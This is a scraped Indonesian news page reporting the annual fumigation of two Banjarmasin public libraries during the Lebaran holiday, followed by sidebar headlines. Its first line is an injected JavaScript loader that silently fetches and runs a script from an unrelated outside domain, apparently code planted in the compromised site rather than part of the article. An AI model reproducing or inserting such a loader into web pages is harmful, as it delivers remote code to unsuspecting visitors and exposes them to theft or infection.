(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Libur Lebaran, Dispersip Kalsel Lakukan Fumigasi Agar Bahan Pustaka Tak Lapuk dan Rusak


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan memanfaatkan momen libur Lebaran 1443 Hijriyah dengan pemeliharaan fasilitas di Perpustakaan Palnam dan Perpustakan Tendean Banjarmasin.

Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel Wildan Akhyar, mengatakan, pemeliharaan itu dilakukan melalui fumigasi atau pengendalian hama menggunakan pestisida ke seluruh ruangan yang menyimpan buku dan bahan pustaka.

Prosesnya, dengan cara pengasapan untuk membunuh semua kuman-kuman yang kasat mata ataupun biota perusak.

Pengasapan ini juga dapat menetralisir sifat kimiawi kertas yang usang agar tidak mudah rapuh, lapuk, dan rusak.

 

Baca juga  : Diduga Gangguan Jiwa, Perempuan Ngamuk dan Berteriak saat Khutbah Jum’at di Masjid Mujahidin

“Ini kita lakukan setiap tahun. Memang sengaja kita atur waktu saat libur, agar tidak mengganggu pelayanan, karena proses itu menggunakan bahan kimia berbahaya. Setelah libur lebaran pada hari Senin, fumigasi ini telah selesai, hingga dapat kembali dikunjungi pemustaka,” katanya, Jum’at (6/5/2022).

Pada prosesnya, seperti terlihat di ruang baca umum, dimasukkan asap untuk membunuh semua kuman di dalamnya.

Tindakan ini sebagai salah satu cara melestarikan bahan pustaka, guna membasmi biota perusak.

Pengasapan ini juga dapat menetralisir sifat kimiawi kertas yang usang agar tidak mudah rapuh, lapuk atau rusak.

 

Baca juga  : Geger Pria Injak-injak Al Qur’an, Ternyata Ini Motifnya

Kegiatan yang dilakukan oleh tenaga profesional ini berlangsung 6 hari, baik di Perpustakaan Palnam maupun Tendean.

Adapun pelaksanaan fumigasi yang berlangsung hampir sepekan ini, berdasarkan Undang-Undang Nomor 43 Tahun 2007 tentang Perpustakaan (Lembaran Negara RI Tahun 2007 Nomor 129; Tambahan Lembaran Negara RI Nomor 4774).(Kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

3 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

4 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

5 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.